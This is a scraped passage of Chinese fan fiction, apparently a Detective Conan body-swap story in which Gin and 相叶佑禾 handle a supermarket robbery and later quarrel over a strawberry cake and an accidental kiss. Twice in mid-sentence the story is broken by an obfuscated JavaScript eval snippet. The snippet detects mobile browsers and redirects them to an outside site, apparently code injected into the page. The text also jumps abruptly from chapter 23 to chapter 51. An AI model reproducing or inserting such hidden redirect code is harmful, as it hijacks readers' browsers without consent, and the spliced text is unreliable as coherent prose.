可是这个乖孩子,弯腰捡起手枪,并熟练的转了个枪花。 他像是摸到老熟人露出满足的神情,又因为嫌弃显得兴致缺缺。 “想要这个?” 他站起身,居高临下地俯视着歹徒,在对方愣怔间,不紧不慢地碾了几下脚下那只手。 “啊!!” 惨叫声引来了众人的视线,包括相叶佑禾的。 “?” 不是,就一个没关注,琴酒怎么就拿上枪了?! 他不会还要给歹徒来一枪吧?! “喂!你……”相叶佑禾正想要提醒他时,瞳孔中倒映出另一个歹徒的身影。 他从背后扑向琴酒,一手高高举起,手里的刀在灯光下闪烁着刺骨的寒芒。 “小心!”相叶佑禾一把夺走手枪,在歹徒老大的后脖颈上重重一敲。 男人两眼一翻,晕了过去了。 相叶佑禾看都没看一眼,疯一般冲向琴酒。 完了完了,他不会要挂彩吧?挂彩还算好的,要是因此噶了…… “去死吧!”伴随着歹徒凶狠的怒吼,匕首划过空气,直直刺向琴酒的脖颈。 在众人惊恐的目光中,琴酒身形微侧,轻描淡写地躲开了歹徒的攻击。 “你在跟我玩小孩子的游戏么?”他眸中满是轻蔑,举起手枪对准了持刀歹徒。 男人脸上的愤怒转而变成惊恐,但琴酒没有给他求饶的余地。 瞄准、扣下扳机。 相叶佑禾大喊:“等等!” “砰。” 一声枪响,鲜血喷涌而出,空气变得寂静。 相叶佑禾阻止失败,只来得及扶住被手枪后坐力冲击得后退了两步的琴酒。 “啊——!” 尖叫声刺破耳膜,超市里的人们被吓到,纷纷往门口涌去。 相叶佑禾手指死死扣在琴酒的肩膀上:“你——” “没死,只是把他拿匕首的手打穿了而已。”琴酒甩了甩被震麻的手腕,连眼皮都懒得掀。 活这么久,还是第一次体验被枪的冲击力伤到。 “我又没瞎!”相叶佑禾气急败坏:“我是说你怎么能用我、你怎么能做这么危险的事!” 周围挤满了往门口冲出去的人,担心被人听到,他只好拐弯抹角地骂:“枪是你能拿的东西吗?!这种人根本不值得你开枪!万一打偏了怎么办!伤到自己怎么办!” “收起你那没用的担心。”琴酒不屑一顾。 打偏?就这种三脚猫功夫的歹徒,他闭着眼睛都能打中想打的地方。 他轻描淡写的态度,气得相叶佑禾火冒三丈。 他一把抓起琴酒被枪擦伤的手:“这不是受伤了吗?你明知道你(身体)对我有多重要,还成心气我是不是!” “还有刚才!你等着刀子到面前才轻飘飘躲开是什么意思?耍帅吗?知道你很厉害,但这是态度的问题!对我和你都不负责!” 真被刺中噶了怎么办?他还怎么回自己的身体里!! 相叶佑禾被气到险些失去理智,琴酒被吵得头都大了,被帽子遮住的额头上,青筋一突一突。 “闭嘴!” “我不!” 灰原哀:“……” 灰原哀觉得这个世界不对劲。 她今晚满脑子都是:这人是琴酒、这人不是琴酒,他是!他不是!他到底是不是啊??? 她从害怕到满头问号,最后精神恍惚。 体型、声音、穿着、银发、以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15004969|160696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 及刚才那果断干练的身手……处处都在说他是琴酒。 但琴酒下手会这么轻吗?琴酒会因为别人拿枪,出于担心而生气?会因为对方被枪的冲击力擦伤,就心疼成这样? 会说‘你对我很重要’、‘你这是对我不负责’之类肉麻的话吗? 灰原哀感觉浑身都起了鸡皮疙瘩。 不不不,这不是琴酒,哪怕是任务需求,那个冷酷强势的男人也绝不会做这种事、说这些话。 “那个……是佑禾吗?”阿笠博士被人群挤到两人附近:“我不是故意偷听你们对话的,但这个声音……是佑禾没错吧?” 感冒把相叶佑禾的声音变得很沙哑,但对他们这些见惯他生病的人来说,就非常有辨识度了。 这个少年居然是相叶佑禾? 灰原哀有些惊讶,却因为他,紧张的心情放松了不少。 生气中的相叶佑禾顺口回道:“是我,阿笠博士真巧,没想到会在这遇到您。” 阿笠博士一愣:“欸?” 相叶佑禾:“……”可恶,听到别人叫自己名字,还是会下意识回答。 喋喋不休的谴责终于结束,琴酒收回忍不住要制裁相叶佑禾的手,乐得清闲。 这小废物在别人面前,还真是将礼貌刻进骨子里。 装乖孩子吗?琴酒嗤笑一声。 看着满脸困惑的阿笠博士,相叶佑禾偷偷摸摸拐了拐琴酒,对方双手抱胸,一言不发。 得了,报复他呢。 真爱记仇! 相叶佑禾磨了磨牙,挤出一个笑容,眉眼弯弯:“我是佑禾的朋友,之前听他提起过您,听说您是个超厉害的发明家,我太兴奋忍不住主动打招呼了,希望您别见怪。” 琴酒:“?”他快吐了。 灰原哀:“……” 如果这是琴酒的话,组织明天就完蛋、她和工藤新一恢复原本的样子。 “啊哈哈是吗?不会不会,我也没有那么厉害啦。”阿笠博士笑着挠头。 琴酒冷冷拆台:“我没说……” “啊!!”相叶佑禾大叫一声,搭在琴酒肩上的手一个用力,就让人猛地往后仰去。然后再假装将人接住,一手扣住琴酒的后脑勺,让他脸贴在胸膛,另一只手则勒住他的手臂,让其口不能言、手不能动。 最后焦急地喊:“佑禾你怎么了?什么?头晕不舒服?一定是发烧加重了!我这就带你去医院!” 随后,抱起琴酒往外冲,还不忘道别:“阿笠博士再见!” 看着那向门口冲去,对着拦路人群色厉内茬,一副‘再不让开,佑禾出事我就让你们陪葬!’的青年。 阿笠博士露出豆豆眼:“那个……他们是正经朋友吗?” 虽然认为那人不是琴酒,但两人离开还是让灰原哀松了口气。 她瞥了眼地上昏死过去的歹徒:“歹徒进门时不就说了,有男同。” 23.第 23 章 除了报复琴酒外,超市确实不能再继续待下去了。 卷帘门早就被人打开,相叶佑禾抱着琴酒混在人群中出去时,果然看到了踩着滑板赶来的江户川柯南。还能听到微弱的警笛声。 侦探和警察都来了。 还好溜得快,不然要被逮个正着。 相叶佑禾一个转身,没入黑暗。 走了不过几步路,被禁锢在怀里的琴酒突然暴起,他一个用力,双腿稳稳夹在相叶佑禾的脖颈处。 得益于这具身体良好的反射神经,相叶佑禾当即用手臂格挡在中间,拯救了可怜的脖颈,不过也因此让琴酒的双手得到解放。 意料之中的结果。 用着这副弱鸡身体,琴酒从未打算与相叶佑禾做力气上的搏斗。 他双腿一松,单手拽住相叶佑禾的手臂作为支撑,一甩,将悬挂的身子摆正跃起,膝盖猛地顶在相叶佑禾的肩膀上。 缺乏战斗经验的相叶佑禾重心不稳,踉跄着退了两步后,跌坐在地上。 “嘶……你……” 他疼得呲牙咧嘴,刚想起身理论,便被对方一把推了回去。 琴酒跨坐在他身上,用膝盖抵住相叶佑禾脆弱的腰肢,手指覆盖在他的喉咙处。 没有用力,却带着无形的压迫感。 气氛有些不妙。 有车从远处经过,为这被黑暗藏匿的小巷带来了一丝光亮,借着这丝光亮,相叶佑禾与琴酒居高临下的眼眸对上。 而伯/莱/塔也不知什么时候被他拿在了手上。 车子走远,世界再次恢复黑暗。 视觉不清晰时,五感就变得十分敏锐。 衣服摩挲的声音响起——是琴酒俯身。 温热的呼吸喷洒在耳畔,连带着耳廓也似乎变得灼热起来。可相叶佑禾却浑身汗毛倒竖。 他仿佛被危险的毒蛇盘在身上,贴在脆弱的脖颈处吐着没有温度的信子。 他的生死只在琴酒一念之间。 这只被迫变成猫的老虎,再一次露出了獠牙。 相叶佑禾几不可察地动了下手,指尖瞬间泛出微弱的蓝光,但被盖着的风衣尽数掩盖。 ‘异能力·普罗米修斯。’ “滋滋。” 轻微的电流响起,一道道刺眼的光芒毫无预兆地亮起,眨眼间,巷子里的黑暗被尽数驱散。 琴酒抬眸扫了眼路灯,双眸微眯。 “咦,那条巷子的路灯怎么突然打开了?” “平时不是舍不得电费都直接关闭吗?” “估计和刚才抢劫案件有关吧,要不走这条近路?” “算了吧,不太好开车。” 模糊不清的谈话声从远处传来。 他们所在的地方离超市不远,但因避开江户川柯南特意选了条没人的路。 此刻,这条灯光大亮的路已经不再因为黑暗,无人敢踏足。 “刚才的事,我们一人都有一半责任吧?谁叫你一意孤行用我的身体做危险事。而且我也是为了咱俩能快点离开,不被缠着聊些有的没的。”相叶佑禾眨了眨干涩的眼睛,轻轻用手去推琴酒的脑袋。 后者偏头躲开了他的手。 那令人不寒而栗的呼吸远离皮肤后,相叶佑禾才喘了口气,感觉又活了过来。 小声提醒:“警察就在附近。” 还有江户川柯南。那只要有一丁点异常就会咬上来的侦探。 相叶佑禾可是冒着被发现的风险,才入侵控制器将路灯打开。 琴酒没有说话,两人的距离能清晰地听到交织的心跳声。 一声接一声。 半响,他的嗓音不寒一丝温度:“这是最后的警告。” 相叶佑禾在心中舒了口气,听着他那急促的心跳和喘息,忍不住道:“下次不要用我的身体做这么极限的动作了。” 琴酒起身,淡淡道:“这取决于你是否听话。” 两人被迫绑在一起,不得不在一定程度上做出退让,但有些底线是无法触碰的。 比如相叶佑禾无法忍受琴酒让他的身体接触危险。 而琴酒也无法忍受受制于人。 “那就约法三章好了,你不用我身体做危险事,我不用蛮力控制你。”相叶佑禾趁机提议。 琴酒不置可否,他掀了掀眼皮,看向巷子口:“现在,我们该离开了。” 相叶佑禾显然也听到了那急促的脚步声,很轻很轻,像是小孩子的。 江户川柯南! 这个名字立马浮现在他脑海里,顾不得其他,相叶佑禾一把抓住琴酒的手冲刺:“这可不算控制你!我怕你跑不动!” 琴酒咬牙。 到底是谁的错!废物身体。 相叶佑禾一路狂奔,生怕慢一点就被江户川柯南看见。 五分钟后,再次被黑暗包裹,相叶佑禾才停下步伐。 越来越感觉自己是见不得光的老鼠了。 相叶佑禾在心里抱怨。 一旁的琴酒气喘吁吁,双腿抖得跟筛子一样,如果不是紧紧抓着他的手用作支撑,早瘫地上了。 “你还好吧?”相叶佑禾心虚地问。 “垃、圾、身、体。”琴酒喘着粗气把这句话断断续续说了出来。 相叶佑禾理亏,没有反驳。 他给琴酒擦了擦汗水,又扇了扇风,打算拿瓶水给琴酒喝却发现两手空空时,天塌了。 “今晚的半价商品全没了!” 琴酒垂着头专心喘气。 虽然没付钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15012432|160696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但是因为歹徒今天的半价活动没了,相叶佑禾悲从心来:“我的钱呜呜呜呜……” 琴酒一个眼刀射去。 相叶佑禾抹了下不存在的眼泪:“我去给你买瓶水呜呜呜,我的钱呜呜呜呜……” “闭嘴,别发出那种懦弱的声音。”琴酒一把掐住他的脸颊:“把你需要的东西列一个清单,发给伏特加。” 相叶佑禾点头:“好。” 琴酒有些诧异:“不是不想跟我有金钱关系么?” “没办法。”相叶佑禾摊手:“残酷的现实总是在摧残我高尚的品德。[1]” 琴酒:“……” 他曾经就说过,相叶佑禾是稍微一点诱惑就能快速堕落的类型。 之前他不屑于诱导这种小废物,但如果暂时没办法换回来,也许…… 琴酒眸色微深。 “好了,那咱们回家吧。”相叶佑禾手里多了一串钥匙,是小电驴的。 他手指伸进钥匙圈里,一边甩着玩一边解释:“刚才打架时从你口袋里掉出来的。” 他家那块区域,在冬天晚上很难打到车,以他身体跑着过来也不现实,所以琴酒准时出现在超市门口时,他就多少猜到了。 但还是有些意外。 没想到琴酒之前那么嫌弃,为了赶路居然还是骑了他的小电驴! 琴酒绷着张脸:“打车回去。” 相叶佑禾拒绝:“打车点离超市太近了,那边全是警察。” 琴酒:“叫伏特加来接。” 相叶佑禾:“同上,外面全是警察。” “你在这等我,我马上回来。”相叶佑禾刚才的逃跑路线特意选了小电驴的停车处,三两下就找到了自己那辆。 他骑上小电驴,驾驶到琴酒身旁。 “快上车。” 琴酒:“。” “那群废物不会知道我的车号。” 他掏出手机,拨打了伏特加的电话。 “不行!你怎么一点都不谨慎!”相叶佑禾一把按住他的手机。 他怕的是警察吗?他怕的是一直在调查组织的江户川柯南! 就在此时,电话被接通,伏特加的声音传来:“喂,你哪位?” 琴酒报出一串地址:“来这接我。” 伏特加愣了一瞬。 这声音……是大哥的小情人! 大哥居然把他的号码给小情人了!还让小情人命令他! 伏特加正准备回答‘好’,便听到相叶佑禾说:“不准来。” 伏特加:“欸?” 琴酒直接忽略相叶佑禾:“伏特加,给你二十分钟,立马过来。” 说完便打算挂断电话,相叶佑禾一把抓住,对手机道:“伏特加,不准来!” 50-60 第51章 Gin:你的味道…… 一个深夜,工藤宅书房灯火通明,自从琴酒入职帝丹高中后,江户川柯南每天都急得不行。 帝丹高中可是充满了工藤新一的信息,他前段时间还用工藤新一的身份出现破了件案子,虽然有告诉大家不要对外提起自己,可在学校里,同学聊天难免会提到。 要是被琴酒知道工藤新一还活着……江户川柯南冷汗直冒,恨不得立马告知警方逮捕琴酒,可惜办不到。 更何况,相叶佑禾正处于危险当中,如果因为他的轻举妄动害得琴酒做出什麽过激的行为,那就全完了。 他很想知道帝丹高中的情况,但他一个小学生又没办法跑到高中在琴酒面前蹦哒,那实在太可疑了。 至于窃听器追踪器等等他都用过,无一例外全都被发现处理掉,好在学校里还有其他组织成员,琴酒要怀疑也不会怀疑他这个小学生。 如果相叶佑禾在这里,一定会呵呵一声:要不是他一直在暗中帮忙,柯南早就被发现了!还不快速速送上草莓蛋糕感谢好心的黑客大人! 可惜江户川柯南现在根本没有心思关注什麽草莓蛋糕。 帝丹高中酒精含量太浓,都快成为黑衣组织新据点了,而他的信息、以及好友相叶佑禾、铃木园子、女友毛利兰都处于危险中。 江户川柯南都快成为急急国王了。 好在学校里也有他们的同伴——赤井秀一在,也不是全然被动状态。 “赤井先生,最近怎麽样?琴酒都在干什麽?他和组织的其他成员有什麽动作吗?” 赤井秀一动作一顿。 琴酒都在干什麽…… 赤井秀一端着茶杯,思绪飞远,蒸腾的水汽爬上镜片,蒙上了一层白茫茫的雾气。 看着出神的青年,江户川柯南心情一沉:“赤井先生?赤井先生!” 连叫了两声,赤井秀一才从思绪中抽离。 “琴酒啊……”赤井秀一喃喃地叹息了一声。 江户川柯南神情更加凝重:“赤井先生,发生了什麽很严重的事吗?” “算,也不算……”在江户川柯南疑惑的目光中,赤井秀一神色复杂地说:“‘琴酒’在抢我的体育课。” 不止琴酒,波本、苏格兰、贝尔摩德都在抢,他只要来晚一秒钟,二年b班体育课老师的位置上就换了一个人,就算早早到达,也不是他一个人上课。 ‘琴酒’一定会在,偶尔多一个笑眯眯围观的波本或者苏格兰、贝尔摩德。 总之二年b班不止一个体育老师已经是学生们都知道的事了。 帝丹高中传闻:新来的几个老师关系很好,难舍难分到一节体育课五个人一起上。 江户川柯南:“哈?” 赤井秀一喝了口茶水,继续道:“他给自己升职为教导主任,一到波本、贝尔摩德和苏格兰的课程,就开始来来回回在走廊巡查。” 巡查都是好的了,在窗边一站就是一节课,不是看‘相叶佑禾’就是死死盯着讲台上的老师,阴鸷的眼神吓得同学们上课都不敢开小差了,教学质量大大提高。 如果不是‘琴酒’长得帅,那张脸太过养眼,早就怨声载道了。 “只要老师提问‘相叶同学’,或者走到‘相叶同学’附近,‘琴酒’就会打断或者叫他出去一下说有事要谈。” 江户川柯南:“?” 赤井秀一:“啊……还有,烹饪课上苏格兰教同学们做草莓蛋糕,并把自己的送给相叶同学,结果被琴酒抢走了。” ‘琴酒’竟然还吃了,甚至夸赞了苏格兰,并跟着一起学。 在那之后,一到烹饪课,苏格兰便多了个做两块草莓蛋糕的任务,做好后直接交到‘相叶佑禾’手中。 忍痛维持琴酒人设的相叶佑禾:让琴酒带回家他再吃吧。 因为草莓蛋糕图片疑神疑鬼许久,至今想起来都还不敢放松警惕的波本:…… 你是说琴酒对草莓蛋糕上心只是因为相叶佑禾爱吃?没有其他意思是吗?是吗??!! 波本:…… 有时候真的挺想报警的。 “赤井先生,你是说琴酒是个恋爱脑,整天只追着佑禾跑,占有欲强到只是站在同一片空间都不开心,见缝插针和佑禾贴贴,并在你们面前故意秀恩爱挑衅你们?”江户川柯南不可置信地问。 不仅没有调查工藤新一的身份,也不关心组织成员的目的,只一味的追着‘相叶佑禾’? 赤井秀一点了点头。 “赤井先生,你最近是不是因为周围全是组织的人,压力太大了?”江户川柯南劝道:“要不然你还是先去休息休息吧?” “……boy,我曾经是组织的代号成员黑麦。”赤井秀一扶了扶镜框,展现出了成年人的稳重:“很遗憾,琴酒确实变成了恋爱脑。” 江户川柯南:“……” 恋爱脑去死啊!把他的紧张、恐惧、担忧通通还回来!!—— 琴酒突然不受控制地打了个喷嚏。 “怎麽了?你不会又感冒了吧?”相叶佑禾警觉的侧头,像一阵风般闪到他旁边,将外套披在他身上,絮絮叨叨地谴责道:“你看你看,我就说多穿点衣服少运动一会,你不听,现在感冒了吧!” 琴酒眉头皱起,拿起桌上的手帕擦了擦额头上的汗水:“你很开心?” “说什麽呢!”他承认刚才是有那麽一点点幸灾乐祸。 但!这可是他的身体! 相叶佑禾理直气壮道:“我是在关心你!” 琴酒似笑非笑地看了他一眼,倒没怀疑。 在相叶佑禾眼中,这具废柴身体永远都是第一位。 他一把扯下披在肩头的外套甩在沙发上,拿好换洗衣物朝浴室走去。 相叶佑禾把外套拿起来挂好:“喂!记得汗水干了再洗,不然容易生病!” 回应他的是一声关门声。 浴室门关上,阻隔了相叶佑禾那聒噪的声音。 琴酒很满意这安静的环境,热水从花洒喷出,打湿了头发,水流顺着他的脸颊、脖颈,一路蜿蜒滑过皮肤。 水汽氤氲间,他的目光落在手臂上,少年人的肌肤细腻又白皙,在灯光下泛着莹润的光泽,比起初见时病态的苍白,现在健康了许多。 但依旧脆弱不中用,上次对练留下的痕迹到现在都还没消下去。 琴酒皱了皱眉,声音是被门阻隔了,但相叶佑禾的存在依旧没有消失。 灵魂互换让两人被迫绑定在一起,他们也习惯了彼此的存在,但最近因为波本等人,相叶佑禾的存在感极其强烈,他甚至感觉相叶佑禾恨不得每分每秒都要看到他才行。 索性相叶佑禾理智尚存,否则早就被琴酒一脚踹得远远的了。 他表面对波本等人骂骂咧咧,但琴酒能看出来,相叶佑禾很烦躁很焦虑,这份焦躁让他做出一些不理智的行为也很正常。 但相叶佑禾却没有像上次慌乱到相信网上不靠谱的办法,跑来他面前嚷嚷着接吻,这让琴酒有些惊讶。 也算是长进了,能控制住情绪。 时间不早,琴酒洗漱完后在相叶佑禾的催促下躺倒了床上。 或许是最近相叶佑禾总像只苍蝇一样围在他身边转,琴酒睡着后,做了一个奇怪的梦。 他梦到了小时候的相叶佑禾。 年幼的少年穿着一身简单干净的衣服,一头细软的粉发像春日里绽放的樱花,微风轻轻拂动,发丝扫过眼睛,露出那张精雕细琢的脸庞。 他稚嫩的脸苍白得近乎透明,在充满童真与好奇的年纪,那双本该生机盎然的绿色眼眸却如幽潭般平静无波。 他站在熙熙攘攘的人群中,却似乎游离在人群之外,神情淡漠地看着周围的一切。 琴酒眉尾微扬,他眸中闪过一丝兴致,这是他根据那个藏着秘密的小废物想象出来的形象,还是这具身体真实的记忆? 看起来比现在那个废话连篇的高中相叶佑禾要成熟许多。 他走到小少年面前蹲下,目光如同画笔,仔仔细细的描摹着小相叶佑禾的面容,不放过一丝细节。 小相叶佑禾眼皮动了动,抬眸直直看向琴酒,里面虚无的神情似乎有了一丝微不可查的变化。 琴酒一惊,一瞬间还以为这个小小废物看到了他。但很快看出,小相叶佑禾是在看他后面,只不过这个方向正好被他挡住了。 他侧了侧身,饶有兴致地问:“你在看什麽?” 小相叶佑禾的目光动了动,紧紧盯着前方,思索道:“要走了麽……” 琴酒顺着他的目光向人群中看去,两个小孩子,一前一后地往前离开。 那个女孩的发型……好像有些熟悉。 “不追麽?”他暼了眼站在原地的小少年。 小相叶佑禾没有回答,他就这麽静静地看着前方,直到两个孩子远离,他才有了动作。 他转身往反方向走去,嘴里思索着说:“毛利这种时候骂工藤笨蛋并生气的离开,是因为工藤做了危险的事,产生了担心的情绪……人类果然是被感情支配的笨蛋……” 被感情支配的笨蛋? 琴酒的目光骤然射向小相叶佑禾的脸,却在此时,一阵猛烈地风吹过,樱花如雨般洋洋洒洒的落下,小少年的身影消失得一干二净。 “琴酒!起床了!八点了!”琴酒猛地睁开眼睛,看着头顶苍白的天花板,思绪渐渐回笼。 “咚咚!”房门又被敲了两下。 相叶佑禾的声音传来:“起床了!你听到没?” 门被打开,琴酒目光沉沉地看着相叶佑禾,他咬着叉子,含糊不清地说:“真稀奇,你今天居然睡懒觉。” 琴酒视线落在他脸上,但在看到那属于自己的脸部轮廓时,顿了一下。 没听到回答,相叶佑禾低头凑过去,紧张兮兮道:“你该不会真生病了吧?” 草莓的香甜扑面而来,琴酒本该按照往常习惯下意识地皱眉退后,但这次,却定在原地什麽都没做。 这股平时觉得过于甜腻不喜的味道,在今天似乎变得诱人起来。 喉结滚动,他眉头拧起:“你在吃草莓蛋糕?” “对啊,昨天烹饪课做的。”相叶佑禾走到沙发上坐下,继续捧着蛋糕一边吃一边夸赞:“有一说一,苏格兰的手艺真好啊,可惜你不喜欢甜食。” 琴酒没有回答,相叶佑禾没觉得不对,他抬头继续自言自语,发现琴酒目光灼灼地盯着这边。 相叶佑禾:“?” 他觉得气氛有些奇怪,或者说琴酒今天怪怪的,下意识问了一句:“怎麽?你要吃吗?” “不吃。”琴酒冷酷地拒绝,并去洗漱。 对味了,还是那个琴酒。 相叶佑禾哼着歌继续享用蛋糕。 没过两分钟,一道阴影自上而下投落。 是洗漱结束的琴酒。 相叶佑禾抬头:“怎麽了?” 琴酒一言不发,他面无表情地站在原地,相叶佑禾莫名感觉到他心情不是很好。 琴酒目光不自觉地落在蛋糕上:“甜食吃多了对我身体不好,没……”收。 “你该不会是想抢我蛋糕吧!” 两人的话同时响起,相叶佑禾疑惑道:“你刚说什麽?” 琴酒:“。” “没什麽。” “哦。”相叶佑禾松了口气,叉了块蛋糕放在嘴里压压惊:“还以为你突然对蛋糕来兴趣了。” 靠近之后,那股香甜的气味更加浓重,这具身体的渴望也愈发强烈。 他像是饿到极点的吸血鬼,突然闻到了血液的香甜,只不过血液换成了甜食。 琴酒的目光实在强烈,相叶佑禾完全无法忽视,连蛋糕都有点吃不下去了。 “你到底……” 话音未落,捏着叉子的手被一把抓住,琴酒弯腰,一口含住叉子上的蛋糕。 相叶佑禾目瞪口呆:“你……” 琴酒的眸光随之落到了相叶佑禾的嘴唇上,那像一只恶狠了的狼骤然发现食物的目光,让相叶佑禾浑身汗毛竖起,连忙闭上嘴巴。 本站无弹出广告 第52章 舔一下 第52章 第 52 章 舔一下 相叶佑禾被琴酒的目光盯得头皮发麻。 怎、怎麽了这是,突然这麽凶狠地看着他,一副要吃了他的样子。 虽然不知道原因,但相叶佑禾觉得现在还是离他越远越好。 他刚要有动作,琴酒攥住他手的五指骤然收紧,稍重的力道带来几分疼痛,似乎在传达他不容抗拒的态度。 相叶佑禾被莫名其妙变得有些奇怪的琴酒吓了一跳,他坐在沙发上不敢乱动,生怕琴酒下一秒就化身凶猛的野兽扑上来咬他一口。 “你到底怎麽了?你要是想吃蛋糕你直接说,我重新给你拿一块……” 视线落在桌上三个空包装上,相叶佑禾顿了顿,好像拿不了…… 他全吃了,最后这一口也被琴酒吃了。 “咳……那什麽,反正今天也要去做任务,等会出门的时候顺带去蛋糕店买两块,但你是怎麽了,不是对甜品不感兴趣吗?为什麽突然……” 吃下那一口蛋糕时,细腻绵密的口感在口腔里蔓延,与清新的酸甜气息一起,令这具身体强烈的烦躁感稍微降低了一些。 但是……不够、还不够。 相叶佑禾滔滔不绝的说了一大堆,琴酒基本都没怎麽听进去,他只看着那张嘴,一张一合间,蛋糕的香甜不断喷洒而出,几乎将他整个人包裹住。那股难以言喻的焦躁感愈发浓烈难忍,催促他快点获取更多的草莓蛋糕。 这种不受控制的感觉令琴酒十分不悦,他舔了下唇瓣上的奶油,盯着相叶佑禾的嘴唇,喉结滚动了一下。 相叶佑禾像一只警觉的小兽,炸着毛闭上了嘴巴。 琴酒移开目光:“你的身体怎麽回事?” 这种对草莓蛋糕的渴望已经到达了不正常的地步。 难以忽视的目光消失,相叶佑禾紧绷的身体微微放松了一些,有些根本不是琴酒的脑回路:“什麽?” 他的身体不是很好吗? “你平时多久吃一次草莓蛋糕?”琴酒眸光又沉又冷,说话间视线依旧若有若无地扫过相叶佑禾的唇瓣。 “一个周吧?要不是甜食吃多了对身体不好,我其实可以每天都吃。”相叶佑禾有些惋惜。 “没有间隔过?最长一次没吃是多久?” “两个周?当时没注意保质期,吃了过期食物进医院躺着了。”相叶佑禾真不想回忆那段暗无天日的时光。 两个周。 而他使用相叶佑禾这具身体,已经将近三个月没有吃过草莓蛋糕了。 琴酒眼睛微微眯起:“你那两个周什麽感觉?很想吃麽?” 相叶佑禾沉默两秒,这一通对话下来,他已经察觉到了琴酒的异常是和草莓蛋糕有关,草莓蛋糕……是他喜欢吃的甜食。 他对草莓蛋糕的欲望和普通人喜欢某样东西是一样的,加上吃的时间都很固定,身体没有出现过什麽特殊反应。而现在看琴酒的样子…… 他的本体出问题了。 还是一个早就存在,只是太过寻常被他忽视了的问题。 这是连相叶佑禾本人都不知道的事,骤然发现身体有问题,他竟也不是特别意外。 毕竟他的来历……大概是那群该死的混蛋为了控制他,搞的一些乱七八糟的限制。 但是这份限制又太过温和,温和到跟哄小孩子似的,一点都不像那些混蛋的作风。 相叶佑禾思绪翻涌,垂下的眼眸中满是冷意,如果琴酒能看到,便会发现此刻的他竟然与梦境中的那个小少年十分接近。 与周围出现黑衣组织人物带来危险不同,这是属于相叶佑禾一人的秘密,就算是灵魂互换被迫绑定在一起的琴酒也不能知道的事。 他十分冷静,露出死鱼眼道:“还好,虽然喜欢吃,但身体难受的时候根本没有吃的欲望好吧。” 琴酒没有立即回答,他盯着相叶佑禾看了两秒后,微不可查地笑了一下。 他抬起手,捏住相叶佑禾的脸颊,将那张脸强迫地仰起:“你为什麽喜欢吃草莓蛋糕?” “?”相叶佑禾看着琴酒,那双绿色的眼眸幽暗深邃,仿佛深不见底的寒潭,可潭底藏着随时都能喷涌而出的岩浆,危险又炽热。 或许是紧张,他心跳加速,移开目光:“喜欢就是喜欢,这需要原因吗?好吃,甜,不行吗?” 清甜的气息喷洒出来,琴酒不受控制地凑近几分,视线也不知不觉间重新落在相叶佑禾的唇瓣上。 他嗤笑一声:“嘴硬的小废物,你今天吃了三个,还是在起床后不久连续吃的。” 他掐在相叶佑禾脸颊上的大拇指偏移,指腹压在唇瓣上,慢悠悠地来回摩挲着,温热的体温伴随着似电流一般的酥麻感传来,相叶佑禾睫毛颤了颤,手不由自主地抖了两下。 他想要推开琴酒的脸,可一只手端着蛋糕盘,一只手捏着叉子被琴酒紧紧攥住…… “还要继续狡辩麽?”琴酒低沉的嗓音裹挟着无法形容的危险,过近的距离让温热潮湿的气息肆意喷洒在相叶佑禾的脸上,连带着四周中的温度也节节攀升。 相叶佑禾感觉空气变得十分稀薄,他艰难地偏了偏头,这才感觉呼吸顺畅了不少。 至于琴酒的问题,他无言以对。 大概是本体的渴望让他的灵魂也受到了一定的影响,今天起来他确实很想吃蛋糕,一口气吃了三个…… 但那又怎样! 说起来他为什麽非要狡辩,反正琴酒现在打不过他!他直接武力压制不就好了! 相叶佑禾眼睛一亮,猛地扭头,电光火石间,他的唇瓣与什麽东西擦过,柔软又温热。 相叶佑禾一愣,琴酒脸上玩味的神情僵住。 空气陷入诡异的安静。 意识到刚才触碰到的东西是什麽,相叶佑禾脸色瞬间涨红,猛地推开琴酒,声音发颤:“你凑那麽近干什麽!” 这个混蛋什麽时候又把距离拉近了!! 琴酒猝不及防被推开,踉跄几步后稳住身形。 唇上残留着一丝淡淡的草莓蛋糕的清甜,让他无法忽视刚才发生了什麽。 可偏偏又是他没能控制住这具身体,被这身体对甜食幼稚的渴望操控,情不自禁地拉近了距离。 他压抑着这股怒气,抬眸冷冷盯着相叶佑禾,那一丝若有若无的蛋糕清甜涌入鼻腔。 琴酒无意识舔了一下唇瓣。 第53章 佑禾:别过来,你这个…变态! 随着他那一舔,空气陷入死一般的寂静。 淡淡的甜味在口腔里蔓延,似乎还带着一丝不属于他的温度,这陌生又熟悉的味道,令这具身体的躁动得到些许安抚。 但这一切的变化都在提醒琴酒,他刚才做了什麽。 琴酒整个僵硬住,脸色黢黑。 相叶佑禾呆滞地看着他,睫毛颤抖。 相叶佑禾:“……” 琴酒:“……” 相叶佑禾:“!!!!” 琴酒:“。” ‘砰’地一声。 相叶佑禾头顶似乎冒出了淡淡的白烟,他瞪大了眼睛,颤颤巍巍地抬手指着他,连指尖都在颤抖:“你、你、你……” 你了半天,就是说不出一句完整的话。 琴酒眸光微抬,相叶佑禾猛地捂住嘴巴,想要往后退一步,却发现被沙发抵住,无路可退。 “你、你别过来!就站那别动!” 他像是一只被吓到了的小兽,浑身毛发炸开,发出虚张声势的威胁,却不知道那颤抖的声音毫无威胁可言。 琴酒:“……” 那股没有掌控住这具身体的怒气突然就消失了。 他冷哼一声,不屑道:“废物,不就是嘴擦到了一下,别……” 